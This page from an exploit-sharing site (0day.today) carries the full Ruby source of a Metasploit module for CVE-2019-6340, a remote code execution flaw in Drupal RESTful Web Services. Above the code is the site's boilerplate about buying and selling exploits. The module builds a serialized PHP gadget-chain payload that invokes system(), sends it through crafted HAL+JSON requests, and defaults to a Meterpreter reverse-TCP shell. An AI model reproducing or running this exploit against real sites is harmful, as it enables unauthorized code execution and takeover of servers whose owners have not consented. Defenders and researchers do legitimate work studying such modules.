0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Drupal RESTful Web Services unserialize() Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote # NOTE: All (four) Web Services modules need to be enabled Rank = NormalRanking include Msf::Exploit::Remote::HTTP::Drupal def initialize(info = {}) super(update_info(info, 'Name' => 'Drupal RESTful Web Services unserialize() RCE', 'Description' => %q{ This module exploits a PHP unserialize() vulnerability in Drupal RESTful Web Services by sending a crafted request to the /node REST endpoint. As per SA-CORE-2019-003, the initial remediation was to disable POST, PATCH, and PUT, but Ambionics discovered that GET was also vulnerable (albeit cached). Cached nodes can be exploited only once. Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of this alternate vector. Drupal < 8.5.11 and < 8.6.10 are vulnerable. }, 'Author' => [ 'Jasper Mattsson', # Discovery 'Charles Fol', # PoC 'Rotem Reiss', # Module 'wvu' # Module ], 'References' => [ ['CVE', '2019-6340'], ['URL', 'https://www.drupal.org/sa-core-2019-003'], ['URL', 'https://www.drupal.org/psa-2019-02-22'], ['URL', 'https://www.ambionics.io/blog/drupal8-rce'], ['URL', 'https://github.com/ambionics/phpggc'], ['URL', 'https://twitter.com/jcran/status/1099206271901798400'] ], 'DisclosureDate' => '2019-02-20', 'License' => MSF_LICENSE, 'Platform' => ['php', 'unix'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Privileged' => false, 'Targets' => [ ['PHP In-Memory', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_memory, 'Payload' => {'BadChars' => "'"}, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } ], ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic', 'CMD' => 'id' } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliablity' => [UNRELIABLE_SESSION], # When using the GET method 'AKA' => ['SA-CORE-2019-003'] } )) register_options([ OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST', ['GET', 'POST', 'PATCH', 'PUT']]), OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end def check checkcode = CheckCode::Unknown version = drupal_version unless version vprint_error('Could not determine Drupal version') return checkcode end if version.to_s !~ /^8\b/ vprint_error("Drupal #{version} is not supported") return CheckCode::Safe end vprint_status("Drupal #{version} targeted at #{full_uri}") checkcode = CheckCode::Detected changelog = drupal_changelog(version) unless changelog vprint_error('Could not determine Drupal patch level') return checkcode end case drupal_patch(changelog, 'SA-CORE-2019-003') when nil vprint_warning('CHANGELOG.txt no longer contains patch level') when true vprint_warning('Drupal appears patched in CHANGELOG.txt') checkcode = CheckCode::Safe when false vprint_good('Drupal appears unpatched in CHANGELOG.txt') checkcode = CheckCode::Appears end # Any further with GET and we risk caching the targeted node return checkcode if meth == 'GET' # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable token = Rex::Text.rand_text_alphanumeric(8..42) res = execute_command("echo #{token}") return checkcode unless res if res.body.include?(token) vprint_good('Drupal is vulnerable to code execution') checkcode = CheckCode::Vulnerable end checkcode end def exploit if [CheckCode::Safe, CheckCode::Unknown].include?(check) if datastore['ForceExploit'] print_warning('ForceExploit set! Exploiting anyway!') else fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end end if datastore['PAYLOAD'] == 'cmd/unix/generic' print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic') # XXX: Naughty datastore modification datastore['DUMP_OUTPUT'] = true end case target['Type'] when :php_memory # XXX: This will spawn a *very* obvious process execute_command("php -r '#{payload.encoded}'") when :unix_memory execute_command(payload.encoded) end end def execute_command(cmd, opts = {}) vprint_status("Executing with system(): #{cmd}") # https://en.wikipedia.org/wiki/Hypertext_Application_Language hal_json = JSON.pretty_generate( 'link' => [ 'value' => 'link', 'options' => phpggc_payload(cmd) ], '_links' => { 'type' => { 'href' => vhost_uri } } ) print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}") res = send_request_cgi({ 'method' => meth, 'uri' => node_uri, 'ctype' => 'application/hal+json', 'vars_get' => {'_format' => 'hal_json'}, 'data' => hal_json }, 3.5) return unless res case res.code # 401 isn't actually a failure when using the POST method when 200, 401 print_line(res.body) if datastore['DUMP_OUTPUT'] if meth == 'GET' print_warning('If you did not get code execution, try a new node ID') end when 404 print_error("#{node_uri} not found") when 405 print_error("#{meth} method not allowed") when 422 print_error('VHOST may need to be set') when 406 print_error('Web Services may not be enabled') else print_error("Unexpected reply: #{res.inspect}") end res end # phpggc Guzzle/RCE1 system id def phpggc_payload(cmd) ( # http://www.phpinternalsbook.com/classes_objects/serialization.html <<~EOF O:24:"GuzzleHttp\\Psr7\\FnStream":2:{ s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{ s:5:"close";a:2:{ i:0;O:23:"GuzzleHttp\\HandlerStack":3:{ s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler"; s:cmd_len:"cmd"; s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack"; a:1:{i:0;a:1:{i:0;s:6:"system";}} s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached"; b:0; } i:1;s:7:"resolve"; } } s:9:"_fn_close";a:2:{ i:0;r:4; i:1;s:7:"resolve"; } } EOF ).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd) end def meth datastore['METHOD'] || 'POST' end def node datastore['NODE'] || 1 end def node_uri if meth == 'GET' normalize_uri(target_uri.path, '/node', node) else normalize_uri(target_uri.path, '/node') end end def vhost_uri full_uri( normalize_uri(target_uri.path, '/rest/type/shortcut/default'), vhost_uri: true ) end end # 0day.today [2024-09-28] #